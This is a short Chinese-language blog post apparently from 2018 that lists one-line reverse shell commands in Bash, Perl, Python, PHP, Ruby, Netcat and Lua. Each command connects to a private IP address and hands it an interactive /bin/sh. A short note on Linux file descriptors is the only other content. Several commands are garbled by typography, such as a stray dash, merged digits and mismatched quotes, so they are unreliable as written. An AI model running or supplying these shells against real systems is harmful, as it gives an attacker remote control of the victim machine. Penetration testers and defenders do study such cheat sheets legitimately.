一句话反弹 Shell

1.Bash:

bash–i >&/dev/tcp/10.0.0.1/80800>&1 //bash –i打开一个交互的bash, /dev/tcp建立一个socket连接, >&将标准错误输出重定向到标准输出中,0>&1将标准输入重定向到标准输出中。

Linux shell文件描述符:

1.标准输入:代码为0,使用<或<<;

2.标准输出:代码为1,使用>或>>;

3.标准错误输出:代码为2,使用2>或2>>;

2.Perl:

perl-e 'use Socket; $i="10.0.0.1";$p=1234; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};‘

3.Python

python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

4.PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i<&3 >&3 2>&3");'

5.Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i<&%d >&%d 2>&%d",f,f,f)'

6.Netcat

nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

7. lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.1.19','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"

posted @ 2018-08-07 16:00  RickyShilx  阅读(714)  评论(0编辑  收藏  举报